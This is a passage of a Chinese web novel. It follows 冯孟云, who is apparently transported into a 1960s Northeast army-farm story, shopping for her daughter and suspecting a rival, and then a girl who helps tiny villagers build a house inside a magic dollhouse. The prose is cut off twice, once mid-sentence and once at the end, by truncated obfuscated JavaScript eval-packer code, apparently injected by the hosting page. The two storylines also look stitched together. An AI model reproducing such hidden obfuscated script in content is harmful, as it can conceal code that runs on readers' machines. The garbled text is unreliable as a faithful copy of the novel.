就算是那样隔着一层的记忆里,生下女儿的记忆仍然是最鲜明的,那是她身上掉下来的一块肉。 系统又不说话了,冯孟云侧过头,看见禾禾醒过来了。 “禾禾要起床吗?” 禾禾的整个人都埋在被窝里,只露出一双黑漆漆的大眼睛看过来。 这个女儿的外貌,几乎完美地遗传了她和林之行的各种优点,五官精致,在一张小脸上甚至显得有点过分拥挤,想来以后长开的时候,应该很漂亮。 看着女儿不吭声,冯孟云摸着自己的衣服,在被窝里蚕宝宝式穿上,又准备给女儿穿衣服。 林嘉禾跟她不亲近,也是正常。这么大的小孩子,无非就图个吃喝,亲妈从小不给吃肉,甚至连鸡蛋葱花这些都不给吃,小孩子哪里亲近得起来? 果然,禾禾拒绝了她给穿衣服,自己在被窝里蠕动着,熟练地穿好了衣服。 她也不以为忤。 锅里还剩下林之行早上做的面汤,她热了一下,又额外摊了两张鸡蛋饼,母女两人吃了个早餐。 “妈妈给你梳头发好不好?” 这次小姑娘没拒绝,这么小的小孩子想扎头发,还是挺困难的。 冯孟云甚至有点紧张。 她在记忆里选了个发型,先给禾禾的头发梳通三七分开,然后分别贴着发际线编了小辫子过去,最后在脑后扎了两个小发髻。 这孩子的头发随了林之行,又粗又厚,扎了两个小发髻看起来也发量不少的样子。 梳完了头发,赶在小姑娘要跳下炕头之前,冯孟云赶紧去拿了红色的塑料镜子过来。 “看看,怎么样?喜欢吗?” 哪怕是才五岁的小姑娘,也已经知道爱美了,她在镜子面前来回扭头,显然对发型很满意。 不过,照完了镜子,禾禾就自己跳下去自己玩了。 东北的这种平房,一般都是三间房,左右两边的厢房用来住人或者存物,中间的用作厨房,叫“外屋地”。 她们一家子现在住的是东屋,西屋放了一些乱七八糟的东西,禾禾正自己在那边玩。 冯孟云看了一眼,放心地回来收拾屋子。 昨天晚上,她的梦境一直在各种年代文各种女主角之间跳来跳去,那些被系统强行塞进她脑子里的年代文,在她的梦境里消化得很彻底。 和那些温馨小家比起来,这个家未免有点单调了。 除了家具之外,一点软装饰也没有。 禾禾的衣服也是一样。 林之行把禾禾的衣服照顾得很好,很厚实很暖和,在她无心照顾家里的时候,还找人帮忙给禾禾做了一双毡鞋,格外保暖。 不过,毕竟是男人,配色做得实在是不太行。光顾着鲜艳了,大红棉袄配条绿花裤子,把本来好看的小孩衬得土土的。 冰天雪地横竖哪也去不了,家里又没什么娱乐活动。冯孟云本身性格也有些内向,不想出去和那些大婶家长里短,索性在家里收拾收拾。 她学着梦里那些女主,找出来一个本子一只铅笔头,想列一下计划。 那些年代文里的女主都在做什么? 考大学、做生意。 考大学以她的知识底子有点勉强,现在是六八年,做生意更是绝对不行的。就算是抛掉年代背景,她在这广袤的北大荒里,也没法做什么生意。 她回忆起来那些年代文里的知识…… 这场运动会在七九年的时候步入尾声,之后反复两年,八十年代会慢慢迎来改革开放。 或许,这些知识对她才是最有用的。 等到以后系统有了能量出来,或许还能告诉她这本书后面的剧情。 至于现在,或许先教育好女儿,保护好这个家庭不散,才是她能做到的。 想到禾禾,她看女儿在另一个房间无聊地跳上跳下,又看了看时间,已经十一点了。 如果要出门的话,这个时间是比较合适的,虽然还是很冷,但已经是一天中最暖和的时间了。 “禾禾,想不想出门?” 禾禾还是对她这个亲妈很生疏,但听见出门,却快速地跑了过来。 整天待在房间里实在是太难熬了。 冯孟云找出女儿的大棉袄,又用围巾帽子给她紧紧地裹起来,自己也同样全副武装,两人这才跟两只球一样出门了。 生产建设兵团说起来很大气,其实就是大农村的样子。整个广袤的平原上,只有第六师一支部队驻扎,家属排在这块平原上,连一粒灰尘都不如。 这样的情况下,自然是不可能有供销社开过来的。 不过,第六师自己搞了小卖部,每个家属排的聚居点都有。这小卖部里面什么都有,甚至连酒都能买得到。 临出门前,冯孟云去林之行交代的钱盒子里拿了钱和票,准备给女儿买点好东西。 她家禾禾长得这么漂亮,竟然一只发卡也没有,玩具也没有。 当然,这个年代的物资匮乏也是原因之一。不过,再匮乏,这方面或多或少也应该给孩子满足一下。 冯孟云叫禾禾把手缩在袖子里,她再用力攥住袖口,这样就不会有风钻进去了。两个人走到小卖部的时候,她还伸手摸了摸孩子的手。 还好,并不怎么冷。 禾禾似乎是不太习惯妈妈跟自己这么亲近,先跑到人堆里去了。 说是“小”卖部,其实整个小卖部占地面积很大。一进门就是一大铺炕,烧得热热的,许多人坐在上面拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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售货员没拿她指的两只发卡,而是换了一只:“这塑料的不行,出去冻冻就脆了,买这个。” 冯孟云笑道:“多亏你,我忘了考虑这一层了,这要是冻脆了可浪费了。” 被她夸一句,售货员兴致勃勃地继续八卦:“听说她男人是烈士,抗美援朝!她户口在咱这边,上头说要给分房,她硬是要住咱这军区里头,说是怕孤儿寡母叫人欺负了……” 售货员看起来应该也结婚了,三十多岁、八卦起来很熟练的样子。说到这,撇了撇嘴:“你看看她穿的……男人才没多久啊,大红色的开司米。” 冯孟云买下了发夹,想起来,出门前还在口袋里抓了一把南瓜子。本来是待哄孩子的,这会儿索性全抓出来放在柜台上:“自家晒的,你尝尝。” 售货员倒不缺这一把瓜子,这年代的售货员是肥差,不缺好吃好穿。 不过,这冯孟云家里是林副营长,看她这么给自己奉承,售货员心里也舒坦。 她就凑近了多说几句。 “别看她有儿子了,人家说话娇娇软软的,跟咱们本地人不一样,天天家里的水缸劈柴都有人管的。姜克思,你知道吧?那还是沪市来的单身知青呢!前两天去她家好几趟。” 冯孟云刚刚还打算当场给女儿别发卡,听见这句,却慢慢站直了身体,把发卡先揣起来。 姜克思去过她家? 虽然这“一枝花”看起来颇有姿色,但大概也比那姜干事大了有十岁吧。再说,姜克思摆明了是个官迷,哪会在这方面不注意? 姜克思之前直接跑来抓她念经,肯定是有人举报的。 对方可能是林之行的再婚对象;对方的儿子似乎认识禾禾……姜克思抓她之前,还去过对方家里几次。 冯孟云扭头看了一眼那走起路来纤腰款摆的女人,笑着问了一句售货员:“刚刚她还跟我说了名字,但我这记性……一转眼就忘了。她叫什么来着?” 售货员努努嘴道:“宋毓秀,听说家里成分有点低……” 冯孟云记下来这个名字,抱着禾禾出门去了。 6.第 6 章 宋毓秀。 冯孟云领着禾禾往食堂走,一边在脑海里反复咀嚼这个名字。 之前只是知道林之行会再婚的时候,她对那个女人是没什么恶感的。 就算是被剧情牵着鼻子走,她被离婚也只能说是自作自受。林之行离婚了,再婚也是很正常的事情。 但如果她被离婚是被人举报了的话,那就是另一种情况了。 还有一个问题,为什么那小子看起来像是认识禾禾一样,一直死盯着她看? 她低头看了看禾禾的小脸。 五岁的小女孩,再惊艳再漂亮,也不可能让一个十岁的男孩子用那样的眼神死盯着看。除非,那个男孩子认识她。 为什么? 她想起来脑海里被系统塞的一大堆年代文,难道那个男孩是重生的? 再联想起来,系统之前无意间脱口而出的男主…… 系统说,他们夫妻俩的资源和物品最后都便宜了男主,还说林之行也被批斗了。那,刚刚她看到的那小子就是这本书的男主? 这样的话,就说得通了。 按照系统泄露出的只言片语,她离婚了,林之行被批斗之后下场也不好,所以东西才会都“便宜了男主”。 那她女儿呢? 冯孟云的心剧烈地跳起来,她低头看着边走边用力踩雪踩得咯吱咯吱的女儿,心里的愤怒几乎要溢出来了。 ——她这么漂亮的女儿,就留给了那对母子?那小子刚刚还敢用那种眼神死盯着她女儿? 似乎是被她捏痛了,禾禾用力甩开了妈妈的手,用力地跺脚站在一边:“干什么!” 她清醒之后发现了,女儿的脾气不算太好。 可是现在知道女儿的脾气不好,对她来说,简直是个太好的消息了。 女孩子就应该脾气大一点!才不会被欺负了! “妈妈错了,刚刚没注意,”她伸手又拉了一把禾禾,看禾禾没过来,也没勉强她,“咱们去食堂买好吃的!” 生产建设兵团没有菜市场,毕竟这里不是居民聚居地,平时大家吃的都是自家自留地收的菜,粮食是部队分下来的。其他时候要买菜买肉,就去食堂。 除了食堂,这里还有自己的酒坊豆腐坊,去豆腐坊可以买到豆浆和豆腐。 禾禾没吭声,冯孟云想了想自己过去的行径,特地重新强调了一下:“咱们去买肉!禾禾想吃肉吗?” 林嘉禾抬起小脸看冯孟云。 她跟妈妈一向不太亲近,刚刚又被妈妈捏痛了有些生气,突然听到妈妈要领着自己去买肉,突然有点呆住。 看着女儿有点呆住的可爱样子,冯孟云只想把她抱起来用力亲亲。 谁也不能伤害她的女儿! 她一把抱起禾禾,一边往食堂走,一边用好吃的诱惑小朋友。 “禾禾想吃什么肉啊?做糖醋排骨好不好?又酸又甜,炖到脱骨,一咬肉肉就下来了。” “还是做肉馅儿的蒸饺?荞麦面的蒸饺想不想吃?又香又不腻。” “或者做点红烧肉也行……” 禾禾这次搂住了她的脖子,用力道:“红烧肉!” 对很久没正经吃过肉的孩子来说,最有诱惑的,肯定是红烧肉了。 在部队食堂买肉,也需要肉票。除此之外,还要买点糖,买糖需要副食券。 走到食堂门口的时候,正好碰见了刘政委,冯孟云领着女儿过去打招呼。 “禾禾,叫人。” “大爷!” 禾禾对人一点也不认生,大大方方地叫了人,冯孟云看着可爱的女儿,心里想着刚刚那对母子,心里恨不得活吃了对方。 她脸上倒没露出来,对刘政委打了招呼道:“刚刚领禾禾去买了发卡,那售货员好能聊,拉着我聊了半天。” 刘政委平时跟冯孟云其实不特别熟,今天能在食堂门口遇见,也是因为他年纪大了,干活都是象征性的去带个头就走。 今天听见冯孟云说了这么多,他先说了一句:“今天叫二顺上山去了,看看能不能碰着什么。售货员跟你说什么了?” 冯孟云明白了,这二顺上山,八成就是去处理那佛像去了。使唤刘政委她不觉得有什么问题,但是叫二顺那半大小子上山找地方去销毁佛像,她倒是有点挺过意不去的。 这天还这么冷。 她在心里记下来这桩人情,继续道:“听说姜克思那小子,还挺浪漫呢。” “看他那个严肃样子,还以为是个不苟言笑的。没想到听售货员说,他最近去了好几趟宋毓秀家里。倒没想到他还有这一面。” 刘政委自然懂得听话听音。 是谁举报让姜克思去查的,他一直在想,看看到底是谁跟林副营长结仇。听到冯孟云特别提了宋毓秀,他皱了皱眉头。 这漂亮小寡妇在第六师是挺有人气的,据他所知,有位单身的团长都叫警卫员去帮她砍过柴…… “这样啊,”刘政委面上没露出什么,只是淡淡接了一句,“那我回头可得去叫你嫂子去打听打听了,要是真能成好事儿,说不得还能吃一碗媒人饭。” 冯孟云又跟刘政委寒暄了几句,这才领着有点等不及的禾禾去买肉了。 在这里的食堂买肉有一点好,是可以挑肥瘦的。 外面供销社肥肉抢手,是因为大家的油票都不够用,每月每人二两半油票,重体力劳动者才多分半斤,只能指望着买点肥猪肉耗点油出来吃。 但这里盛产黄豆,部队的豆腐坊还额外有两台榨油的机器,每家每月都能额外分点豆油,大家对肥肉的需求不像是外面那么极端。 “要肥点瘦点?排骨可没有了,倒是有两个猪蹄子。” “姐,给我来两块五花肉吧,五花三层一点的,”冯孟云把禾禾往前领了领,抱起她给她看案板上的猪肉,“家里孩子馋红烧肉了,您给挑挑。” 卖肉的大婶使劲儿地磨了两下刀,给她切了一大块五花肉。 她也是认识冯孟云的。 这种售货员的位置,可以算得上是“肥差”了,平时有点什么边角料都可以偷偷带 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大婶已经切完了肉,放在手拎秤上给她看:“二斤六两,高高的,你看看。这个月用二十八号票,老样子,外头的半斤票部队买三斤,我再给你搭块板油,也高高的。” 部队这边的肉票和外面是一样的,都是三十张小票连在一张上,标了三十个号、盖了章,用的时候单独撕下来。每张能买半斤,有作废时间。哪个月用哪张票,具体多久作废,就得临时看卖肉的通知。 这里能分到的肉和油多些,毕竟整个生产建设兵团都是重体力劳动者,外头的半斤肉票,在部队能顶三斤肉用。 “行,那就谢谢你了!” 卖肉的大婶笑得特别热情:“这算啥的,你等哪天我再给你留点。咱家小子就是林副营长手底下的兵,天天回家夸!” 原来还有这么一层关系,冯孟云从她手上接了肉和板油。她掂了掂,那袋子猪板油和肥肉至少得跟那肉一样重了。 中午赶不上做饭了,正好食堂今天有卖馅饼的。虽然是白菜馅,但放了油烙的香得很。冯孟云买了五张,准备跟女儿回家吃。 禾禾已经等得不耐烦了,冯孟云牵上闺女的手:“走吧,回家吃饭,等到晚上妈妈给你做红烧肉!” 走出食堂,正是一天中最暖和的时候。风也悄悄儿停了,一眼望去,天边的雪原跟白云甚至连在一起。 禾禾在前面蹦蹦跳跳,在路边专挑雪厚的地方踩。 突然,她听见妈妈喊她名字。 禾禾皱着眉头转脸过去,以为又是不让自己踩雪,赶紧趁着现在多踩了两脚。 她听见妈妈的脚步突然加快跑了过来,给她重新又戴了戴帽子。 “禾禾,妈妈不会再要第二个孩子的。” 禾禾抬起头看妈妈。 太阳刚刚升到中天,金色的光洒在妈妈的头发上,浅浅镀了一层金边。 她看见妈妈笑着跟她说:“妈妈只要禾禾一个宝宝,好不好?” 禾禾低下头,没说什么。 妈妈真好看。 7.第七章 第二天早上,林嘉禾有点记不得自己是怎么回到床上的。 明明一开始是为了安慰妈妈,结果,慢慢就变成妈妈给她吹她爱听的曲子了。 悠扬的笛子声里,她睡着了还梦见自己在天上飞,手里拿着鸟头杖,拉着花牌和镜牌。飞着飞着,突然撞到月亮上啦。 月亮上一点也不安静,吵吵闹闹的,林嘉禾揉着眼睛醒过来,发现声音果然是从娃娃屋里传过来的。 她顾不上换睡衣,掀起被子光着脚跑过去。 第一眼,她就看到奶奶不知道从哪弄来了日历,挂在了院墙上面。 一个看起来高挑帅气的女小人正在对着日历指指点点:“秀儿啊,你这日历咋挂外头了?这刮风下雨的不弄坏了?” 日历! 林嘉禾立刻看过去,她眯着眼睛看,日历上的日期是65年2月9日。 她默默地把这个日子记在了心里,到时候看一下娃娃屋里的时间流速是多少。 新来的女小人说了几句就不再说了,伸手给了旁边又高又壮的男小人一下:“别看着了!干活!你秀儿姐给你整那么多猪肉吃,是叫你干瞅着的?” 林嘉禾往奶奶家院子中间看过去,地上已经画好线了。院墙靠边的地方也堆着很多砂子,还有两袋土水泥,看来是要盖房子了! 不过,三个人,真的能把房子盖起来吗? “云姐,没事儿!这房子咱慢慢盖就行,今天初八,大队说出了正月十五就得上工,估计到时候能搭个架子起来了。” “那咋行呢,我也帮你干。” 被叫做云姐的女小人干起活来利索得很!她那个弟弟更是超级有力气,两个人画完线,就开始准备在地上挖地基。 不过,东北零下三十几度的天气里,泥土都冻得跟石头一样硬,刨坑要先把铁钎插在地上,然后用锤子去砸,才能砸出一点点的坑。要砸很久,才能勉强掏出一块冻土来。 这怎么行! 林嘉禾看了一会儿,实在忍不住了。 她想起来其他小人都听不见自己说话,忍不住开口问奶奶:“要不我来挖吧?” 她不敢贸然出手,之前被科普了破四旧,她又问了问爸爸,知道了□□时候严酷的历史。 想着其他小人都听不到,这才敢问一句奶奶。 没想到,她这句话一出,新来的男女小人都一齐往天上看过来。 “谁?是谁在说话?” 林嘉禾有点好奇了,为什么除了爷爷奶奶和姑姑,还有人能听见她说话? 不过,现在最重要的,是帮奶奶把房子盖起来。而且,既然这两个人是奶奶特地请过来盖房子的,应该也是可以信任的吧? 她找了之前玩剪纸时候买的刻刀,伸手下去,小心翼翼地沿着几个小人凿了半天的印痕刻了下去。 冻得结结实实的泥土,在她的刻刀下面……似乎也并没有特别坚硬。 只是一下,地上就被刻出了一条深深的沟壑! 几个小人惊呆了。 从相秀的视角看起来,就是天上下来了一根巨大的闪着银光的铁棍,铁棍的末端是锋利的刀口,这刀口只是轻轻一划,地上的泥土就像是豆腐一样被划开了! 神仙还在说话:“就沿着线都割开就行了吗?” 相秀狂点头:“对!只要上面的冻土层能撬开,下面我们自己就能挖动了!” 林嘉禾听到了奶奶的指示,握紧了刻刀,沿着地上画的线,轻轻松松就割开了好多深沟。 沈梦云姐弟俩看得惊呆了。 这是……这是什么状况? 从天上云层后面伸出来一条巨大的手臂,然后就这么轻轻松松地在地上划开了她们拼命抡大锤都凿不动的冻土层? 那么大的手……甚至可以轻轻松松一根手指就把她碾死…… 相秀看出来沈梦云有点惊恐,赶紧过来小声给她讲:“你别怕,这是个好心的神仙!要不是有她,我跟志国这几天都不知道咋活过来。你看看墙角那石头,也是神仙给的。” 沈梦云有点不敢相信相秀说的话,但是她也只能相信。 这样的神仙,想杀掉整个村子的人都是轻而易举的,她能有什么从这些人身上得到的呢?她的帮助,也只能是好心吧? “谢谢神仙……” 正常来说,在这样冻得结实的冻土地面上挖出盖一间房所需要的地基,哪怕全是熟门熟路的壮汉,也至少得挖两天才行。 可是,神仙轻轻松松就把地上的冻土层全划开了,那只巨大的法宝锋利无比,她们只需要把下面的土都掏出来,就可以填进石头然后灌注地基了。 几个人全都惊呆了。 林嘉禾看见几个小人待住不动,还以为自己干错了,她又拿着刻刀伸手进去,问奶奶:“是不是这沟太窄了?还要再弄宽一点吗?” 相秀赶紧摇头:“够了够了!” 再宽那就得做战壕了! 几个人都不再发呆,赶紧抡圆了铁锹掏土挖沟。去掉最上面的冻土层之后,下面的黑土地松软好挖,很快就清理出了地基所需要的深沟。 这一步之后,就是往里面填石头了。 在看着小人填了几块石头之后,林嘉禾忍不住也上手开始一起干。 小人们搬石头,一次只能搬一块,双手搬着,然后小心翼翼地蹲下身对齐了慢慢地扔进沟里。 可是林嘉禾只需要两根手指一捏,直接把小卵石丢进去就行了! “这也太快了……” 沈梦云感觉今天自己整个人都受到了冲击,像是做梦一样喃喃自语:“为什么会有神仙来帮忙盖房子,秀儿你平时到底干啥了……这是积了多大的德行啊。” 相秀也不知道自己积了什么德,她跟沈梦云讨论:“不过,俺们村别人都听不见神仙说话,只有你跟柱子能听见。” 沈梦云不敢求神仙,而且,她和相秀一样,也不敢被别人知道自己能听见神仙说话甚至是看见神仙。 这个神仙看起来不会伤害人,但是开批斗会的人们可是真的会的打人甚至杀人的! 不过,院子里最懵的还是沈梦龙。他只能听见神仙说话,但是完全看不见神仙的大手。他只能看见地上突然出现了一道深沟,还有一些石头自己就掉进了沟里。 他忍不住抓着姐姐问,听沈梦云给他描述天上有一只大手。 “啥?大手?” 小龙今年才十七,虽然又高又壮又能干活,但还不能算是成年人。今天看见这么多东西飞来飞去,从小在无神论 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她期待地看向已经打好地基的小房子,发现小房子已经垒起好几层石头了。 不过,这个过程林嘉禾就帮不上忙啦,她的手实在是太大了,放石头容易放歪,更别提抹泥了。 她只能从午饭里拎出两块香香的牛腩,小心翼翼地放进铁锅和铁盆里。 “两块牛肉,你们吃吧。” 娃娃屋的显示范围只有爷爷奶奶家的这个小村子,和旁边的一大片雪原。她照顾不了另外两个小人,但还可以给一块牛肉,安抚安抚。 相秀之前已经吃过了,还没多吃惊,但是第一次看见这么大块肉的沈梦云姐弟,简直惊讶得下巴都要掉下来了! 昨天干完活的时候,相秀招待两个人吃了一顿酸菜炖猪肉,里面的大厚片猪肉已经让两个知青吃得连舌头都要吞进肚子里。 可是今天这牛肉……这牛肉…… 沈梦云像梦游一样走过去,伸手比量着牛肉的大小……这牛肉足足有收音机那么大! 用肉眼看过去,完全想不到这么大一块的会是牛肉,但是鼻尖闻到的红烧牛腩的香味,完全错不了。 比她更惊讶的是沈梦龙。 他一直都看不见“神仙的手”,虽然看了很多神迹,但还是有点半信半疑的。 可是这么大块的肉,他再也不会半信半疑了!在这个年代,能有这么大块的肉,哪怕他没看见肉是从半空中掉下来的,那也是神迹! 只有神仙才会有这么大的肉! 沈梦云一眼没看住,就看见沈梦龙整个人扑到了那块牛肉上,狠狠咬了一口。 “你这小子你干啥呢!” 沈梦云急了,她过去用力往起拽自己这小弟,结果人是拽起来了,牛肉也跟着起来了——这小子完全没松嘴! 她狠狠地给了这小子两下狠得,又小心翼翼地把沈梦龙咬过的地方撕下来,用力踹了他一脚。 沈梦龙完全没有任何反应,他用力嚼着口中的牛肉,整个人像是做梦一样。 肉!还是牛肉!沾满了肥美的油汁的红烧牛肉! 他用力一伸脖子,跪在地上对着天空中那个看不见的声音磕了个头:“谢谢神仙!” 8.第八章 牛肉对士气的鼓舞简直是肉眼可见。 一个上午,几个人只垒了三层石头,而一个下午,石头屋子已经垒到腰那么高啦。 林嘉禾有点喜欢那个新来的男小人,他看起来有点呆呆的,又很怕自己的姐姐。虽然吃了很多牛肉,可是干活很有劲。 她特地去拆了一包牛肉粒,给几个小人一人一粒,新来的男小人一粒最大的。 沈梦龙捧着像甜瓜那么大的牛肉,哭了。 他好喜欢给相秀姐盖房子!他想给相秀姐盖一辈子房子! 林嘉禾看到这姐弟俩的衣服也很单薄,还把之前没投进去的那块兔皮,也拿了进去,放在了姐弟俩面前。 “谢谢神仙!” 沈梦云姐弟俩的衣服确实单薄,虽然在城里的时候,父母已经尽力给两人的衣服加厚了。但是她们全家没人料到,同是东北,位于地图最边缘的北荒竟然冷成这样。 而且,农村的保暖措施也不太好。 但是有这么大一块毛皮就不一样了!两个人都能做一身暖和的衣服穿上。 要是她跟秀儿一个生产队就好了,如果能天天看见神仙的话,生活一定会好非常多的。 沈梦龙也是这么想的,而且,他老早就不喜欢他那个姐夫了:“姐,你要是没结婚,咱俩要是到秀姐这生产队得多好?” 他这句话一说出来,就感觉腿上被平时温温柔柔的相秀姐踹了一脚。 相秀在心里叹口气。 这小子,没长心! 当初这小子十来岁被弄过来当知青,姐弟两个人吃不饱穿不暖,还叫人欺负。他姐不是为了给他出头才嫁的人?哪个城里来的女知青会无缘无故嫁给本地人,谁不想回城去呢? “小混蛋!你说啥呢?你姐嫁人为了谁你不知道?你搁这说啥浑话呢?下次再叫我听见你说这话,你看我揍不揍你!” 沈梦龙不说话了,垂下头。 倒是沈梦云笑了笑,过来拉开相秀:“秀儿啊,现在不能再说这话了,结都结了。当初我也是吃不了那苦。” 这年月可不兴离婚,离婚了要被人戳脊梁骨的。 “再说了,当初都说两年就回去了,你瞅瞅,现在还一批一批往这边派知青呢。能回去吗?我算看透了,说不定这一辈子就直接耗在这了。” 刚开始,大家还有着建设新天地的使命感,但是慢慢地,就被无休无止的农活给消磨干净了。 不光是累,还有饥寒交迫。村里人觉得他们白吃粮食干不动活,知青觉得村里人太粗鄙,两边甚至互相仇视。 “你那婆婆,还说你啥不?” 沈梦云跟相秀结婚是前后脚的事儿,也有四年了,但是一直没生孩子。相秀听说过,她婆婆成天指桑骂槐的。 “没事儿,她说两句就说两句,小龙也没少吃人家粮食,要不能长这么高?” 一阵难言的沉默散发开来。 林嘉禾在娃娃屋外面听见了几个小人的聊天,里面有一些她能理解的,但是更多的是她理解不了的。 她想了想,翻出一颗大白兔奶糖,剥掉了外面的包装纸只剩下糯米纸,小心翼翼地放在了空地正中央,几个小人中间。 刚刚正在沉默的几个小人突然就看见一只大手降了下来,大手的手指中间捏着一块很大的白色固体,外面还蒙着半透明的纸。 这块白色固体被放在了几个小人中间,林嘉禾察觉到爷爷奶奶都很沉默,小声说道:“吃糖吧。” 是糖? 几个人围在一起,林志国用菜刀小心翼翼地敲下来一块碎渣,放在嘴里尝了尝。 是糖! 一大块散发着奶香的糖,含了一会儿,糖块变软了,在嘴里化作一阵甜蜜的味道。 他赶紧又用菜刀敲下来几块,给在场每个人分了一块。 沈梦云笑了:“你瞅瞅,天天说破四旧,天天跳忠字舞,最后不还是得靠着神仙吃饱肚子。” 相秀赶紧拿手去捂她的嘴:“说啥呢!你疯了啊!” 林志国出来打个圆场:“这北荒的地确实没得说的,现在是开荒没办法,过两年估计能好很多。再说,夏天的时候咱打野鸡啥的也没少打,等冬天熬过去就好了。” 他这几天感觉腿不那么痛了,也出来做点力所能及的事情。几个人盖房子,他就在一边把大块牛肉和糖分割成小块,然后用油纸包好。 几个大人沉默不语地吃着糖,只有林超美一个人快乐地满院子飞奔。 她吃到了肉,还吃到了糖! “妈妈,我感觉我现在也有力气了,可以帮忙一起盖房子了!” 小孩儿都开始盖房子了,几个大人也不好意思继续愁眉苦脸,连林志国也叫小龙把他搬到砂浆堆旁边,帮忙和泥。 林嘉禾看见自己的糖有用了,有点小开心。没想到爷爷奶奶也很喜欢吃糖,她抓起两块大白兔往客厅跑。 林爸爸正在整理画具,冷不防被闺女在嘴里塞了块奶糖,他愣了一下,听见女儿问:“爸爸,妈妈去哪了?” “妈妈去给你舅姥爷送东西了,今天不是十号了嘛。” “哦,”林嘉禾想起来了,她问爸爸,“爸爸,舅姥爷怎么总也不来看我们啊。” 林爸爸把手里的东西放下,看女儿把一块糖放在茶几上,下面压了纸条画了小兔子。 “你舅姥爷性格有点孤僻,但是这两年身体也不行了,今天你妈妈临走之前说想好好劝劝,看看能不能让他过来。舅姥爷除了咱家也没啥亲戚了,到时候禾禾愿不愿意跟舅爷一起住呀?” 林嘉禾点点头。 她去看过舅姥爷几次,舅姥爷虽然说话很少,但总喜欢给她好吃的。 看着女儿又一阵风拐回房间去,林爸爸有点吃新玩具的醋了,他大声喊道:“禾禾别忘记画教师节的卡片!周一得给老师带的!” 林嘉禾的脚步一顿,林爸爸得意道:“需不需要爸爸陪你画?咱们这次在贺卡上加点花样,画那种打开中间会站起来的立体贺卡好不好?” 林爸爸成功用新技巧从女儿那里抢占了一下午的时间,收获了宝贝禾禾的贴贴和夸奖,甚至还有捏肩膀! 直到晚饭林妈妈也没回来,两个人草草吃了方便面。林爸爸有点担心女儿吃方便面会不会不高兴。 “怎么样?可以吗?这次实在是时间不够了,下次爸爸还给你做手擀面!” 林嘉禾明明觉得方便面也非常美味,尤其是加了油菜、鸡蛋还有香肠,连汤都想喝光。但是听见爸爸的话,她还是艰难地放下了只剩下面汤的碗,擦了擦嘴,微微有点皱眉。 “确实!还是我爸爸的手擀面天下第一!” 林爸爸愉快地去刷碗,林嘉禾带着手心里偷偷藏着的两块香肠迅速进屋。 今天只有两个碗,爸爸自己刷就可以了!她着急去看爷爷奶奶的房子。 她扒在娃娃屋的墙上往里看,小房子已经盖起很多了!看日历,距离她上次投喂已经过去了两天。 林嘉禾赶紧把香肠拿出来,她看见铁锅里煮着菜,一时间不知道把香肠放在哪里。爷爷奶奶和另外两个小人都在忙活盖房子的事儿,她就小心翼翼地用手指去扒拉一只铁盆。 不过,她的力气在这个世界实在是太超标了,稍微一碰,铁盆就凹下去了一块。 林超美是整个院子里唯一一个没在干活的,她看见铁盆突然凹下一块,知道一定是神仙又来了! “神仙你来了吗?” 她用力地拽出一个洗得干干净净的蛇皮袋,打开摊放在地上:“放这里!” 林嘉禾小心翼翼地把两块香肠放在那只蛇皮袋上,没跟爷爷奶奶打招呼,就去睡觉了。 她可真是个操心的小孩子呢!又要操心家里的经济状况,又要操心爷爷奶奶的生活,累得洗漱过后一沾枕头就睡着了。 周日再看的时候,娃娃屋里的小房子已经盖得很高很高了。 她不懂石头房子要怎么盖,出声问道:“房子是要盖好了吗?” “对,马上就要封顶了。明天一起去山里找颗大树上梁!然后弄点木头铺房顶。” 大树?木头? 这种东西应该很好找吧? 林嘉禾看了一下,爷爷奶奶的小房子也就她的巴掌大小。 沈梦云也看见了穿过云层的神仙的脸,她在房子上比划着:“只要弄这么大一根木头,横架在这里,上面再横着摆一些木头,木头上面再多铺些草……” 好像用雪糕棍就足够了?可是雪糕棍不太结实…… 林嘉禾想到了! 她冲出房间,到厨房拿了一根筷子。 林嘉禾记得妈妈说过,新换的筷子比之前好用,铁木的就是结实致密,不容易留味道。 她拿起筷子的两端,用力掰了一下,确实很结实,她都掰开不动呢。 房顶上盖稻草的话听起来也不太靠谱,林嘉禾在客厅厨房找来找去,林爸爸以为她在找零食,问她:“冰箱里妈妈新买了饮料,禾禾要不要喝?” 对了!易拉罐! 林嘉禾眼前一亮,她冲到冰箱前拿了一罐可乐,递给爸爸。 “禾禾不喝吗?” 林嘉禾摇摇头,她刚刚吃过泡面,小肚子还鼓鼓的,喝不下去有气泡的饮料。 她有点为难地问爸爸:“爸爸,我想要易拉罐,但是我喝不下去了……” 林爸爸皱眉看她:“禾禾想要易拉罐干什么呀?” 她拿出筷子给爸爸看:“想做手工,想要一双筷子和易拉罐上的铁皮!” 林嘉禾看着爸爸找了个杯子把可乐倒进去,然后开始给她加工易拉罐。她赶紧找了个盖子把玻璃杯盖上。 她超体贴的!这样就不会跑气了! 林爸爸细致地把可乐罐子去掉了头尾,还贴心地拿砂纸把边缘磨得非常钝,确保林嘉禾不会划到手。他又问了筷子要做什么,按照林嘉禾比划的程度帮忙截掉了筷子较细的那一端。 “好了,都弄完了,”林爸爸满意地用手使劲儿摩擦了一下金属片,确认不会划伤宝贝女儿的手,“不许自己剪!要剪什么形状过来跟爸爸说,爸爸给你加工,好不好?” 林嘉禾点头,拿着一双筷子和易拉罐加工成的铁片进屋去了。她往娃娃屋里看过去,奶奶和那两个小人已经拖着几颗树回来了! 新来的男小人用斧头劈了两下:“这树我感觉不太行,房梁本来就不应该用新树,这木头也有点松……” 几名知青本来就不是专业建房子的,比较有经验的沈梦龙也只是在村子里帮人盖房出力比较多。兴冲冲地要上梁了,这才发现,砍回来的房梁不合格。 “要不先凑合一下?” 相秀实在是不想全家继续蜷缩在牲口棚里了,哪怕是用泥和破布塞住,里面也非常冷。她的月事来了,林志国的腿还伤着,家里还有小孩,再这么住下去,真的是会出大事的。 “这个可以做房梁吗?” 几个人都听见了神仙的声音,同时仰脸往天上看看去。 一根深棕色的木头从天而降。 光用肉眼就能看出,这木头的材质坚硬致密,上面十分光滑,足足有碗口粗! “可以!太可以了!” 相秀喜出望外,她一边感谢神仙,一边引导着神仙把这根格外合适的房梁卡在留好的卡槽中。 几个人都松一口气,有这样一根合适的房梁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 